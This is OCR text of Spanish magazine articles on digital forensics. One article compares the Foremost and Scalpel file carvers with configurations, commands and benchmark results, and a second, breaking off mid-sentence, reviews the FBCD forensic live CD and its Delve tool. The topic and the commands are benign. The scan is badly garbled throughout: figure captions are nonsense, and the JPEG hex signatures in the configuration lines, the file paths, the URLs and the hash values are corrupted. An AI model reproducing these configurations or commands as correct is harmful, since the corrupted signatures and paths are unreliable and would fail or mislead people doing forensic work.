tamente Foremost 0.69, un popular tallador de
archivos open source, para mejorar el desem-
pefio y disminuir la utilizacion de memoria.

La existencia de Scalpel, entonces, esta
motivada principalmente por el deseo de tallar
archivos con tamafios arbitrarios de forma
rapida, en maquinas con modestos recursos,
ya que el tallado de archivos involucra E/S
y es una tarea no interactiva, no hay razén para
dedicar costosos recursos de cdmputo, lo cual
podria ser utilizado para otros prop6sitos, para
tallado de archivos.

Scalpel al ser iniciado lee un archivo de
configuracion, el cual define todos los tipos de
archivos que pueden ser tallados y para cada
tipo de archivo, informacién adicional, inclu-
yendo las especificaciones de las cadenas de
cabeceras y pies, y el tamafio maximo del ar-
chivo.

Para realizar el tallado de archivos, Scalpel
hace solamente dos pasadas secuenciales sobre
cada imagen del disco. La primera pasada lee
la imagen completa del disco en grandes tro-

zos (de tamafio definido por el usuario, con un
tamario por defecto de 10MB). En cada trozo
se buscan las cabeceras de archivo y se man-
tiene una base de datos de las ubicaciones de
estas cabeceras. Una vez que se ha completa-
do la indexacion de los trozos, se realiza una
busqueda de los pies. Para un tipo de archivo
en particular del cual se ha definido un pie, se
realiza una busqueda del pie contra el actual
trozo solamente si potencialmente el pie puede
corresponder con alguna cabecera en el archi-
vo. Esto es posible bajo dos condiciones: la
primera es si una cabecera que potencialmente
coincide es descubierta en el trozo actual de la
imagen del disco; la segunda es si una cabecera
que potencialmente coincide fue descubierta
en un trozo previo del archivo de imagen, pero
lo suficientemente cercano a la posicion actual
para conocer los requerimientos del tamafio

méximo de tallado para el tipo de archivo. Una
vez que ha finalizado la primera pasada sobre
el disco, Scalpel tiene un indice completo de las
ubicaciones de las cabeceras y pies, las cuales
son utilizados para poblar un conjunto de tra-
bajos en cola que controlan las operaciones de
tallado de archivos durante la segunda pasada
sobre al imagen del disco. Para cada cabecera
de archivo en el indice, se hace un intento de
coincidir la cabecera con un pie adecuado. Una
cola de trabajo es asociada con cada trozo de la
imagen del disco y es tallado un Unico archivo.
Durante la segunda pasada sobre la ima-
gen del disco, Scalpel nuevamente procesa la
imagen del disco en trozos (del mismo tamafio
utilizado en la primera pasada). Como se ha
descrito anteriormente, cada trozo tiene aso-
ciado un trabajo en cola, el cual describe las
operaciones de tallado que son llevadas a cabo
cuando el trozo es leido. La motivacion para
el uso de colas de trabajo es para maximizar
la utilizacion de los datos en cada trozo de la
imagen del disco cuando es leido. No se reali-
zan copias extrafias de memoria a memoria, la
escritura de los archivos tallados son realizadas
fuera del mismo buffer utilizado para manejar
el actual bloque de laimagen del disco. Para re-
ducir la actividad del disco durante la segunda
pasada sobre la imagen del disco, Scalpel utili-
za operaciones de busqueda para saltar bloques
consecutivos para los cuales no hay trabajos
programados. Todo esta da como resultado un
dramético aumento de velocidad en la simple
lectura de cada trozo en la segunda pasada.

Scalpel puede ser obtenido desde su pagina
oficial, la version mas reciente es la 1.60. La

[T

e e e o

Srhivo [desr yer § Mausdoe Bospss  Ands

. . & = 1+ |
g Sl

Miage  Cwpenpensnd  Beep  Bude

L
1660 whefveest 4. wipaies Bbvw | T0.3 Gl

Vista en miniaturas de algunos archivos tallados con Scalpel

Linux+ 11/2009



B L ]

T1HE0%50 oy V144600 oy

!Ealﬁl

e Pl Y Paraderns  Salepes Sypla
- +* ] a » M
i i Fecwper  Cwpetspanensd  Fgpapa T

-]

A0 wigrryeed on. ongeoes bew 222 Cel

Miniaturas de archivos tallados con Foremost utilizando la primera definicion para archivos de

tipo JPEG

URL desde la cual puede ser descargada pue-
de ser ubicada en la seccién Referencias del

mo, la cabecera y pie sensibles a mayusculas,
el tamafio maximo del archivo, ademas de la

presente articulo. Se procede a su descarga cabecera y pie para el archivo. El campo del

e instalacion.

# wget http://www.digitalforensi
cssolutions.com/Scalpel/scalpel-
1.60.tar.gz

# tar xzvf fscalpel-1.60.tar.gz
#md5sum scalpel-1.60.tar.gz
al0adlae3f709bb42d30ba2dee992c3b0
scalpel-1.60.tar.gz (Verificacién con
el hash de su pagina)

# cd fscalpel-1.60

# less README (Sugiero siempre su
lectura)

# make

Una limitacion que se detalla en su archivo
README esta relacionada al proceso de ta-
llado en archivos de dispositivos fisicos y 16-
gicos en Windows, (ejemplo: \PhysicaldriveO
o\.\c:) que actualmente no es soportado, pero
sera soportado en futuras liberaciones.

El archivo de configuracion controla los tipos
y tamafios de los archivos tallados por Scalpel.
Actualmente Scalpel puede leer archivos de
configuracion de Foremost 0.69, pero los archi-
vos de Scalpel pueden no ser compatibles con
Foremost. En particular, el tamafio maximo de
un archivo tallado en Foremost 0.69 es de 4GB,
mientras que en la version actual de Scalpel, es
de 16EB (16 ExaBytes).

Para cada tipo de archivo, el archivo de
configuracién describe la extension del mis-

pie es opcional, pero la cabecera, el tamafio, la
sensibilidad de mayusculas, y extension no lo
son. Cualquier linea que inicie con un “#” es
considerada un comentario y se ignora. Por lo
tanto para evitar un tipo de archivo sélo se debe
colocar un “#” al inicio de la linea.

Las cabeceras y pies son decodificadas an-
tes de poder ser utilizadas. Para especificar un
valor en hexadecimal se debe utilizar \x[0-f]
[0-f], y para utilizar octal \[1-9][1-9][1-9]. Los
espacios pueden ser representados por \s. Por
ejemplo: “x4F\123\IsCCI” se decodifica a ”OSI
cCI™.

Para coincidir cualquier caracter simple
(a.k.a. un comodin) se utiliza “?”. Si se necesita-
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ra buscar el caracter “?”, se necesita cambiar la
linea “comodin” y cada ocurrencia del anti-
guo caracter comodin en el archivo de confi-
guracion. No se debe de olvidar que los va-
loreshexadecimaly octal de “?”esigual aOx3F
y \063.

Si se desea tallar archivos sin las exten-
siones del nombre de archivo, se debe utilizar
”NONE” en la columna de extension.

La palabra clave REVERSE después del
pie provoca una blsqueda hacia atras empe-
zando desde el [tamafio] en bytes, hasta la ubi-
cacion de la cabecera. Esto es muy (til para ar-
chivos como PDF que pueden contener varias
copias de pies a través del archivo. Cuando se
utiliza la palabra clave REVERSE, se pueden
extraer bytes desde la cabecera hasta la ULTI-
MA ocurrencia del pie (e incluyendo el pie en
el archivo tallado).

La palabra clave NEXT después del pie
provoca que se incluya la cabecera y todos los
datos en el archivo tallado ANTES de la prime-
ra ocurrencia del pie (el pie no esté incluido en
el archivo tallado). Si no hay ocurrencia de que
el pie se descubra dentro del tamafio maximo
de tallado en bytes desde la cabecera, entonces
es tallado un bloque de la imagen del disco que
incluye la cabecera y con una longitud igual al
tamafio de tallado méximo. Se debe utilizar
NEXT cuando no exista un pie definitivo para
un tipo de archivo, pero se conoce cuales datos
NO deben ser incluidos en un archivo tallado
(por ejemplo, el inicio de un archivo subse-
cuente del mismo tipo).

FORWARD_ NEXTeseltipodetalladopor
defecto y esta palabra clave debe ser incluida
después del pie, pero no es requerido. Para
el tallado FORWARD NEXT, un bloque de
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Parte inicial del archivo audit.txt con Foremost

datos que incluye la cabecera y el primer pie
(dentro del tamafio de tallado maximo) son
tallados. Si no aparecen pies después de la
cabecera dentro del tamafio de tallado méxi-
mo, entonces no se realiza ningin tallado
A MENOS que se proporcione la opcion -b en
la linea de comando. En este caso, un blogque
en bytes del tamafio de tallado maximo, inclu-
yendo la cabecera, es tallada y una anotacion
es realizada en el registro de Scalpel de que el
archivo fue tajado.

Se procede ahora a evaluar Foremost & Scal-
pel, verificar su comportamiento y probar su
funcionamiento. Tanto para Foremost como
para Scalpel se utilizara en una primera instan-
cia una imagen en bruto obtenida con dd de un
disco duro de 3.2GB, en una segunda instancia
una imagen en bruto obtenida de una unidad de
memoria USB de 256MB. Para todas las prue-
bas realizadas a continuacion se ha realizado
compilacién normal y se han utilizado los con-
tenidos de los archivos de configuracion por

defecto. Para obtener més informacién sobre
las opciones en linea de comando para ambas
herramientas, sugiero consultar las paginas
man respectivas.

Ante todo se realiza la generacion del hash
MDS5 de la imagen que se estd manipulando.
Esto tiene dos propositos, primero la verifica-
cion con el hash original cuando la evidencia
fue adquirida, y en segin lugar para detectar
posibles modificaciones sobre la evidencia.
Todo esto con el Unico propdsito de garantizar
la integridad de la evidencia.

# md5sum hd_caso_003.dd
e5dec03a859bbc4dalca556ef4026fe0
hd_caso_003.dd

A continuacién se ha procedido a modificar
el archivo de configuracion de Foremost,

Jforemost.conf;, para que talle solamente los ar-

chivos JPEG. También es factible indicar esta
opcion en la linea de comando con la opcion
“-t”, de la siguiente manera.

] oo ey e T G
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# foremost -s 100 -t jpg -1 hd_caso_
003.dd

La Figura 1 muestra la ejecucion de Foremost
con la opcion “-c”; la cual define la ubicacion
del archivo de configuracion foremost.conf a
utilizar, a continuacién la imagen de la cual
se tallaran los archivos JPEG y finalmente la
opcidn “-0” la cual define la ubicacion del di-
rectorio de salida para los archivos tallados.

Cuando se ejecuta Foremost se genera
también, en el directorio de salida donde resi-
den los archivos tallados, un archivo de nom-
bre audit.txt; en este archivo se registra todo el
proceso de ejecucion de Foremost. La Figura 2,
muestra la parte final de este archivo.

Ahora es el turno de Scalpel. Como en el
caso de Foremost, se ha procedido a modifi-
car el archivo de configuracion de Scalpel,
scalpel.conf, para que talle solamente los ar-
chivos JPEG. La Figura 3 muestra la ejecucion
de Scalpel con la opcion “-c”; la cual define la
ubicacion del archivo de configuracion scalpel.
conf a utilizar, a continuacion la imagen de la
cual se tallaran los archivos JPEG y finalmente
la opcion “-0” la cual define la ubicacion del
directorio de salida para los archivos tallados.

Igualmente, al ejecutar Scalpel se genera
también, en el directorio donde residen los ar-
chivos tallados, un archivo de nombre audit. txt;
en este archivo se registra todo el proceso de
ejecucion de Scalpel. La Figura 4, muestra
la parte final de este archivo. Como ya se ha
mencionado, la informacién contenida en los
archivos audit.txt, es informacion que describe
el proceso de ejecucién tanto de Foremost,
como de Scalpel para el tallado de los archivos
requeridos. La Figura 5 muestra el formato que
el archivo audit tiene con Foremost, y la Figura
6 muestra el formato del archivo audit.txt con
Scalpel. El archivo audit.txt, detalla la manera
en que Foremost fue invocado, el tiempo de
inicio, el directorio de salida para los archivos
tallados y la ubicacion del archivo de confi-
guracion utilizado. Ademas contiene campos
sobre los archivos tallados que son importantes
mencionar: Num, este campo enumera los ar-
chivos tallados; Name, es el nombre asignado al
archivo (bs=512) con tamafio de bloque de 512;
Size, el tamafio del archivo tallado en B, KB o
MB; Offset, el desplazamiento al archivo; y fi-
nalmente Comment; que detalla un comentario.

En la parte final del archivo audit.txt se
muestra un breve resumen de los archivos
tallados por Foremost:

64737 FILES EXTRACTED
Jpg:= 4038
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Jpg:= 25
Jpg:= 60674

En este punto se debe aclarar que se utilizaron
tres definiciones en el archivo de configuracion
de Foremost para tallar tipos de archivo JPEG,
que son los que se muestran a continuacion:

jpg vy 20000000
A\XxFRXxd8\xF\xe0\x00\x10
\xFR\xd9

jpg y 20000000
A\XxFRXxd8\xF\xel \xFF\xd9
jpg vy 20000000
\xFf\xd8 \xF\xd9

La ejecucion de Foremost con estas 3 defini-
ciones, extrajo 64737 archivos, con un tama-
flo total de 7,1G. Se tallaron 4038 archivos
con la primera definicion, 25 archivos con la
segunda definicion y 60674 archivos con la
tercera definicion final. Esta ultima por ser la

mas comun y genérica, extrajo mas archivos.
La Figura 7 muestra la visualizacion en minia-
tura de algunos de los archivos tallados conte-
nidos en la carpeta de salida. Como se puede
apreciar hay algunos archivos JPEG tallados
que no es posible visualizar.

Ahora es el turno del archivo audit.txt ge-
nerado por Scalpel. Tal y como se puede visua-
lizar en la Figura 6, en este archivo se detalla
la fecha y hora de inicio, el comando utilizado
para ejecutar Scalpel, el directorio de salida, la
ubicacion del archivo de configuracion, y el ar-
chivo objetivo. Ademas existen campos en el
archivo que es importante detallar; File, define
de manera numérica y secuencial el nombre
del archivo tallado; start, el desplazamiento
al inicio del archivo tallado; chop detalla si
es una tajada del archivo; length, la longitud
del archivo, y finalmente Extracted From; el
archivo desde el cual se tallan los archivos.

Scalpel ha tallado 4038 archivos, con un
tamafio total de 102M. Se debe tener en consi-
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deracion que se ha utilizado la tnica definicién
para los tipos de archivos JPEG existente en el
archivo de configuracion scalpel.conf. La defi-
nicion es la que se muestra a continuacion:

jpg y 200000000
\XxFRAxd8\xFF\xe0\x00\x10
\xFR\xd9

La Figura 8 muestra la visualizacion en minia-
tura de algunos archivos tallados y que estan
contenidos en la carpeta de salida indicada
para la ejecucién de Scalpel. Ademas se ha
tratado de ubicar los mismos archivos tallados
por Foremost mostrados en la Figura 7.

Los resultados que se obtienen de Fore-
most y Scalpel hasta este punto son: Foremost
inicié su ejecucion a las 22:17:02 y finalizo
a las 22:21:06. Es decir todo el proceso de ta-
llado de los archivos JPEG se realiz6 en cuatro
minutos y cuatro segundos. Se debe tener en
consideracion que en el archivo de configura-
cion se utilizaron tres definiciones para tipos
de archivos JPEG. Para el caso de Scalpel, ini-
ci6 su ejecucion a las 22:24:22, y finaliz6 en:
22:26:35. Es decir todo el proceso de tallado se
realiz6 en dos minutos trece segundos. Para el
caso del archivo de configuracion se utilizo la
tnica definicion por defecto para tallar archi-
vos de tipo JPEG.

Foremost extrajo 64737 archivos JPEG,
mientras que Scalpel 4038 archivos JPEG. Se
debe anotar que muchos de los archivos talla-
dos por Foremost no pueden ser visualizados.
Mientras que en el caso de Scalpel la gran ma-
yoria de ellos pueden ser visualizados de mane-
ra correcta. En la siguiente prueba se procedera
autilizar la misma definicion para tallar tipos de
archivo JPEG en los archivos de configuracion
de Foremost y Scalpel, para luego analizar los
resultados obtenidos. La definicion utilizada
para tallar tipos de archivos JPEG en ambos
archivos de configuracion es la siguiente:

jpg y 200000000
\XxFRAxd8\xFF\xe0\x00\x10
\xFR\xd9

La Figura 9 muestra el nuevo directorio don-
de se han extraido las imagenes talladas con Fo-
remost utilizando la misma definicién que Scal-
pel. Los resultados obtenidos son los siguientes:
El ndmero de archivos que Foremost talla
es de 4038, que es la misma cantidad de
archivos que Scalpel talla; 4038 archivos de
tipo JPEG.

Para tallar los 4038 archivos de tipo
JPEG, Foremost demord un minuto treinta
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y nueve segundos, por su parte Scalpel demord
dos minutos trece segundos. Se debe tener en
consideracion el modo de funcionamiento de
Scalpel para el proceso de tallado.

El tamafio total de todos los archivos ex-
traidos por ambas herramientas es de 91,6 MB.

Para finalizar las pruebas de esta parte, se
procedera a tallar con Foremost, archivos de
tipo JPEG con la segunda definicion y se pro-
pone como ejercicio para usted amable lector,
la tercera definicion. La segunda definicion es
la siguiente:

jpg y 20000000
\xFRXA8\xFRxel \xFFxd9

La Figura 10 muestra la vista en miniatura de los
archivos obtenidos de utilizar Foremost con la
segunda definicion para tipos de archivo JPEG.

En la Figura 10 se puede visualizar que s6lo
se han extraido 25 archivos. Ahora se procede
a utilizar un mecanismo simple que implica la
utilizacion de hashs, para verificar la existencia
de alguno de estos 25 archivos, entre los archi-
vos existentes en la carpeta que contiene todos
los archivos tallados con Scalpel.

Se generan los hashs de todos los archivos
tallados por Scalpel:

# shalsum jpg-0-[0-41/* >
imagenes_scalpel

Ahora se procede a generar los hashs de todos
los archivos generados con la segunda defini-
cion para archivos de tipos JPEG con Fore-
most, en su carpeta respectiva; es decir sélo los
25 archivos tallados.

# shalsum * > imagenes_foremost_ 2

Por ejemplo: para proceder a verificar la exis-
tencia de un archivo listado en imagenes_fore-
most 2 en el listado de imagenes scalpel, se
puede utilizar un simple comando grep. Por

O

Enlared

*  File Carving — http://www.
forensicswiki.org/wiki/File_Carving

*  Foremost-http://foremost.sourcefor-
ge.net/

*  Scalpel — http://www.digitalforensics-
solutions.com/Scalpel/

* Formato de Archivo — http://
en.wikipedia.org/wiki/File_format

*  FILExt — http://filext.com/

*  wotsit — http://www.wotsit.org/

ejemplo, se busca el archivo que genera un
hash en el listado de hashs de los archivos que
genero Scalpel de la siguiente manera:

# grep cc687eda9ffbbfdc1828d3da598fF3
2fd7ff947e imagenes_scalpel

Se puede seguir este procedimiento simple
u otro mas elaborado, con la siguiente defini-
cion para tipos de archivos JPEG que viene
por defecto en el archivo de configuracion de
Foremost.

A continuacién se procede a utilizar Foremost
y Scalpel con el siguiente caso: Se ha realizado
una copia bit a bit de una unidad de memoria
USB de 256 MB, el nombre del archivo en bru-
to es memory usb 005.dd. Su hash es el si-
guiente:

# md5sum memory_usb_005.dd
6d1365d8c3cfh4d7c0b07785bF8432ac
memory_usb_005.dd

La unidad de memoria USB contiene diferen-
tes tipos de archivos y se conoce qué tipos de
archivo contiene y qué tipos de archivo no. Asi
es que la intencién del presente caso, es verifi-
car el comportamiento de Foremost y Scalpel
para esta situacion.

La Figura 11 y la Figura 12 muestran la
parte inicial del archivo audit.txt que es creado
cuando se procede a ejecutar Foremost y Scal-
pel. Los resultados fueron los siguientes (ver
Figuras 11y 12).

En primer lugar se debe tener presente la
existencia de muchas mas definiciones para
tipos de archivos a tallar en Foremost. Ademas,
el hecho de que para un mismo tipo de archivo
pueden existir varias definiciones, como en
el caso detallado anteriormente donde en el
archivo de configuracion de Foremost existen
tres definiciones para el tipo de archivo JPEG.
Asi mismo se utilizaron todas las definiciones
para todos los tipos de archivos que pueden ser
tallados por defecto con Foremost y Scalpel.

Foremost inici6 su procesamiento a las 17:
28:35 y finaliz6 a las 17:28:40. El tiempo total
para tallar todos los archivos indicados en su
archivo de configuracion es de cinco segundos.
Mientras que Scalpel inicié su procesamiento a
las 17:31:16 y finaliz6 a las 17:34:19, en total
tres minutos y tres segundos.

Foremost extrajo 475 archivos con un
tamario total de 83,8 MB, mientras que por
su parte Scalpel extrajo 25520 archivos, con
un gran tamafio total de 6,4 GB. Existen
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varios archivos tallados por Scalpel que pueden
ser considerados como “falsos tallados”. Dado
que la copia bit a bit de la unidad de memoria
USB, no contiene tipos de archivo de formato
fws, mpg, pgp, rpm, tiff o wpc.

Finalmente, Scalpel fue capaz de extraer
algunos archivos que Foremost no extrajo,
como se puede apreciar en las Figuras 13 y 14.
De manera notoria Scalpel extrajo al menos
dos archivos JPEG maés, que los tallados con la
ejecucion de Foremost.

Foremost es el veterano de las herramientas
open source para el tallado de archivos, tiene un
funcionamiento y utilizacién simple, ademas
de ser bastante rapido en el proceso de extra-
ccion de archivos. Y como se ha expuesto en el
presente articulo extrae la mayoria de archivos.

Scalpel es la evolucion de Foremost, y rea-
liza un procesamiento mas complejo, lo cual
trae como consecuencia, un mayor ndmero de
falsos archivos tallados, pero también la capa-
cidad de tallar archivos que Foremost no fue
capaz de obtener.

En computo forense una de las fases im-
portantes dentro de la metodologia, es la recu-
peracion de archivos, tanto Foremost como
Scalpel cumplen cada uno a su manera este
proposito. También se debe tener en conside-
racion que en el mundo del cdmputo forense
no se utiliza una tnica herramienta para realizar
cierta tarea. Las buenas précticas recomiendan
la utilizacién de dos o méas herramientas que
cumplan una determinada funcion, y de esta
manera poder comparar o corroborar los resul-
tados, como es el caso del presente articulo. 2

O
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FBCD:

Una distribucion de pago para
Investigadores forenses

Un Linux de pago se nos hace tan raro como un Windows gratis en Internet. Ademas
de estar convencidos de la superioridad moral de un orden basado en el software libre,
nos gusta ver el mundo Linux como una caja de herramientas a disposicion del publico,
donde unos ponen los Utiles y otros se sirven de ellos sin acapararlos —licencia GPL-.

a caja proporciona sistemas operativos, na-

vegadores, suites ofimaticas, herramientas

de desarrollo y software para los mas variados

usos. Las herramientas no se desgastan ni pier-
den temple. Por el contrario, a medida que pasa el tiempo
van mejorando y siendo perfeccionadas por un servicio
de mantenimiento compuesto por miles de voluntarios en
todo el mundo. Linux es el socialismo tal como lo veian
los intelectuales melenudos y barricadistas del siglo XIX:
de cada cual segun su capacidad (como programador o ad-
ministrador de redes) y a cada cual segln sus necesidades
(en cuanto usuario de a pie). Si alguien quiere arruinar este
idilio cobrando 225 délares por una distro de disefio debe
tener buenas razones para ello.

La peculiar personalidad de Thomas Rude, creador de The
Farmer's Boot C.D. se manifiesta nada mas llegar a su sitio
de Internet: www.crazytrain.com; habilidoso vendedor de
seminarios de formacion en seguridad informatica para
organismos publicos y empresas, granjero en los ratos
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libres, incondicional del Audi TT y de las comidas ade-
rezadas con ajo. Sin lugar a dudas se trata del hombre
con camisa negra y mal afeitado que aparece al arrancar
el CD. Los enlaces de su web indican que FBCD es parte
de un paquete escalable que incluye cursillos de técnica
forense digital y SMART de ASR Data (también de pago
y basado en Linux). En la modalidad basica (225 dolares),
el comprador adquiere un Live-CD con la distro. La licen-
cia tiene un afio de duracion y autoriza a utilizar FBCD
con fines comerciales y a recibir actualizaciones.

FBCD, basada en Slackware, persigue una finalidad es-
pecifica: la previsualizacion de datos antes de tomar de-
cisiones relativas a la adquisicion de ordenadores y so-
portes informaticos como discos duros, llaves USB, dis-
kettes, etc. En Informatica Forense “adquirir” significa
realizar imagenes completas de los volimenes de datos,
incluyendo no solamente los archivos sino también to-
das las estructuras del sistema de archivos, el MBR, los
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sectores iniciales de las particiones, clusters
disponibles e incluso zonas "prohibidas" del
disco duro como la HPA'y la DCO, mediante
comandos como ‘dd', 'ddrescue’ o cualquier
software comercial capaz de hacer copias a ba-
jo nivel (es decir, en bitstream), como EnCase
y FTK. Elemento clave de FBCD es Delve,
una herramienta que sirve para previsualizar
datos en una investigacion forense.

Ademdas de FBCD+Delve existen otras
herramientas de previsualizacion. Linux Spa-
da es una derivacion de Knoppix que incluye
herramientas para previsualizacion forense.
Spada permite a un usuario sin grandes cono-
cimientos de Linux rescatar archivos graficos
y de video borrados. Es gratis y se puede des-
cargar desde (http://www.spada-cd.info/).

Aparte de Delve, FBCD incluye todas las
herramientas clasicas utilizadas por el investiga-
dor forense, como Autopsy+Sleuthkit de Brian
Carrier, ddrescue, pasco, galleta, foremost,
netcat, y también las mismas utilidades para
reparacion, mantenimiento y configuracion de
redes que podemos encontrar en otras distribu-
ciones como Knoppix o SystemRescueCD.

Han sido dos las razones que impulsaron
a Thomas Rude a proyectar una herramienta
de previsualizacion: por un lado el complejoy
restrictivo entorno legal de Estados Unidos, con
leyes rigurosas, delitos en los que se ven invo-
lucrados nuevos dispositivos (teléfonos mévi-
les, blackberries, pendrives, routers wifi, etc.),
investigaciones ramificadas, sistemas multiu-
suario con montajes RAID, clausulas de priva-
cidad, etc. En tales circunstancias resulta muy
interesante la posibilidad de llevar a cabo una
exploracion orientativa de los ordenadores

sospechosos antes de adquirir discos duros
avoleo.

El segundo factor que ha influido en el desarro-
llo del proyecto es el tamafio cada vez mayor
de los soportes informaticos. En pocos afios
se ha pasado del disco duro estandar de 1 GB
a unidades con capacidades colosales. Si lo
pensamos bien, tener un disco de 1 terabyte pa-
rece cosa de ciencia ficcion cuando uno piensa
en su primer PC. A no ser que se disponga de
equipos especiales se necesitan varias horas
para adquirir un soporte de 100 GB —y otro
aun mayor para guardar la imagen-.

En media hora Delve permite llevar a cabo
un escrutinio previo que puede poner al des-
cubierto indicios que justifiquen la adquisicion

seguridad
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forense del ordenador sospechoso. Delve reco-
noce particiones NTFS, FAT, Ext2, Ext3 y Rei-
serFS, y es capaz de analizar estructuras de
datos relacionadas con la actividad del usuario
de sistemas Windows y Linux, como el archi-
vo de paginacion, historial de Internet, eventos

y logs.

FBCD esta diseflada para arquitecturas 386
(Intel y AMD). Su arranque es veloz, con un
optimo reconocimiento del hardware y sin las
demoras tipicas de otras distribuciones Live.
En un minuto el sistema se inicia en runmode
3 con el kernel 2.6.21, apareciendo en pantalla
el login de Root. Haciendo honor a la vocacion
de granjero de fin de semana de Thomas Rude,
la contrasefia es "garlic” (en inglés, ajo). A no
ser que poseamos un buen mapeo mental del
teclado U.S.A., nos conviene configurarlo en
espafiol:

root@localhost:~# loadkeys es

Iniciamos el servidor X tecleando "gui". Si no
funciona, "guisafe" nos permite habilitar las
X para VESA 1024x768. También podemos
utilizar "xorgcfg -testmode" para una configu-
racion manual, arrancando después con "star-
txfce4". Como 1ltimo recurso arrancariamos
mediante el 'startx' de toda la vida, después de
haber introducido manualmente los ajustes en
el archivo xorg.conf. El entorno de ventanas
es XFCE4, con una barra en la parte inferior
que muestra las aplicaciones principales,
entre ellas un boton para Delve, otro para
AIR (herramienta de adquisicion que permite
copiar soportes de datos en bitstream) y final-

a0 w6 -3

Configuracion de XFCE
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mente un mentl de configuracion del teclado
entre cuyas opciones, lamentablemente, no
se encuentra el idioma espafiol. Pese a ello el
layout italiano nos permite utilizar todas las
teclas necesarias para trabajar en consola con
comandos bash. Si a pesar de todo alguien de-
sea escribir informes en espaflol —con acentos y
efies-, utilizando para ello el editor avanzado de
texto, lo puede hacer introduciendo la linea si-
guiente en la seccion "InputDevice" del archivo
xorg.conf, antes de iniciar las X:

Option "XkbLayout'" "es™

Hasta aqui FBCD no ha tocado las particiones
del disco duro, que se pueden montar de dos
maneras, una de ellas intrépida y virtuosa con
el comando mount -cuidado: tenemos todos los
privilegios del superusuario-. La otra consiste
en montarlas desde el interfaz grafico de Delve
con un simple clic. Esto no es precisamente lo
que le gustaria a un usuario de Debian, pero
ofrece la ventaja de una mayor seguridad, pues
el montaje se realiza en modo estricto de solo
lectura.

Al montar con Delve una particion etx3
o ReiserFS no se incrementa el contador de
Journaling, lo cual resulta de gran interés en el
ambito forense. En efecto, el mayor problema
tras haber adquirido la imagen de un disco
duro es que la parte contraria logre convencer
al juez de que el soporte de datos fue alterado
durante la investigacion. Aunque los cambios
producidos por el journaling son minimos,
puede crearse la impresion de que la evidencia
ha perdido integridad. En tal supuesto existen

muchas probabilidades de que nuestra prueba
quede invalidada, y entonces adids caso. Este
es un riesgo juridico inherente a los sistemas de
archivos con journaling como NTFS y Reiser-
FS, que los informaticos forenses por lo general
evitan mediante dispositivos hardware espe-
cialmente disefiados para impedir el acceso en
modo escritura.

He hecho pruebas con FBCD y otras distri-
buciones, realizando imagenes de discos duros
formateados con ext3 y ReiserFS, antes y des-
pués de montar las particiones en modo de solo
lectura, y hallando a continuacion los hashes
con md5sum. FBCD no mueve ni un solo bit
en el medio de datos. Knoppix por el contrario
si altera el contador de journaling. SystemRes-
cueCD en cambio no.

Ahora algo que probablemente no va a gustar
a la mayoria de los usuarios de distribuciones
live: Delve no viene instalado en el sistema.
Por motivos de autoria compartida y para hacer
posible la introduccién de mejoras sin tener
que liberar una distro completa el programa se
distribuye aparte al adquirir la licencia FBCD.
Hay que copiar el tarball desde el diskette o
la llave USB donde lo transportamos hasta el
directorio /tmp y extraerlo alli mediante:

root@localhost/tmp:~# tar xfzv
farmerdelve._tar.gz

Esto crea un arbol de directorios con los archi-
vos de instalacion del programa. Ascendiendo

al primer nivel:

root@localhost/tmp:~# cd farmerdelve
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Finalmente:

root@localhost/tmp/farmerdelve:~#
_/install

Delve ya esta listo para utilizar. Se inicia pul-
sando con el raton sobre el icono de la lupa en
la barra inferior de XFCE.

El interfaz del programa consiste en una venta-
na con varias pestafias destinadas a funciones
especificas. La primera (DEVICE) monta el
dispositivo que se quiere investigar. Todos los
montajes bajo Delve son en modo lectura. Ade-
mas de NTFS, FAT y ext2, Delve reconoce par-
ticiones ext3 y ReiserFS y, como se ha dicho, al
montarlos no corre el contador de journaling.

Pulsando con el boton derecho del raton
sobre un sistema desmontado veremos un men
contextual con diversas opciones, entre ellas
una gque muestra informacion general sobre el
sistema de archivos y otra con una lista de ar-
chivos borrados. Para montar un sistema de ar-
chivos basta pulsar sobre ¢l con el boton izquie-
rdo, tras lo cual cambian las opciones del menu
contextual. Entonces se nos permite abrir un
navegador de archivos o un terminal para in-
vestigar detenidamente el contenido de la parti-
cion. El navegador permite examinar los forma-
tos mas frecuentes, como documentos de texto,
hojas de calculo, presentaciones y graficos. Una
vez montado el sistema de archivos, el usuario
puede conmutar entre las pestafias restantes
para ir previsualizando datos en busca de lo
que le interese. Algunas son especificas del
sistema operativo o del sistema de archivos:
no tiene sentido analizar el archivo pagefile.sys
en una particion ext2, ni los logs de Linux si lo
que estamos mirando es un sistema de archivos
NTFS. PAGEFILE permite analizar archivos de
paginacion de Windows XP o Vista en busca de
direcciones de correo electronico y URLs. La
paginacion de memoria es un mecanismo utili-
zado por los sistemas operativos para gestionar
la RAM, volcando al disco duro aquellas partes
que necesita liberar para la ejecucion de nue-
vos programas o la carga de datos. El archivo
pagefile.sys es utilizado por los navegadores de
Internet. Esto lo convierte en objetivo prioritario
de toda investigacion forense.

WINDOWS LOGS facilita acceso a los
archivos "INFO2" -papelera de Windows- y
a los eventos de Windows (Aplicacion, Seguri-
dad y Sistema). Los eventos resultan cruciales
a la hora de determinar el comportamiento
del usuario: intentos de acceso a una cuenta,
ejecucion de programas, alertas de sistema pro-



vocadas por troyanos y keyloggers, etc. WEB
HISTORY analiza los historicos de Internet
y las cookies de navegadores de uso comun:
Explorer, Opera y Mozilla. CATALOG identi-
fica los tipos de archivo existentes en el siste-
ma: documentos de Office y texto, bases de da-
tos, ejecutables, graficos de diversos formatos,
etc., incluyendo la posibilidad de especificar
otras extensiones. Finalmente LINUX LOGS
muestra el contenido de los principales archivos
de registro Linux (cron, bash_history, syslog,
access, messages). En todas estas opciones los
resultados se muestran en forma de archivos de
texto exportables para un analisis off-line me-
diante hojas de calculo, scripts de Perl o coman-
dos de Unix como 'strings' en busca de palabras
0 cadenas de caracteres comprometedoras.

Delve incluye un conversor de marcas de
tiempo (DATE CONVERTER), que permite
al usuario manejarse con horas y fechas en di-
ferentes formatos -Unix, Windows y lenguaje
humano-, ayudandole a establecer el timeline
o reconstruccion temporal de los hechos para su
investigacion. También dispone de un visor de
graficos (GRAPHICS VIEWER) que funciona
sin caché para economizar recursos, mostrando
los thumbnails en tiempo real a medida que van
siendo renderizados.

Para terminar, el menti MISC ofrece una
informacién minuciosa sobre el hardware del
sistema: numero de serie, discos duros, confi-
guracion de la BIOS, procesador, chip grafico,
DMA, etc. Algo imprescindible si queremos re-
dactar un informe en investigaciones complejas
con gran nimero de ordenadores, de modo que
la parte contraria no pueda sembrar dudas en
cuanto a si se examind la maquina correcta.

Trabajar con FBCD resulta mas llevadero de lo
que pudiera parecer a la vista de los ajustes ini-
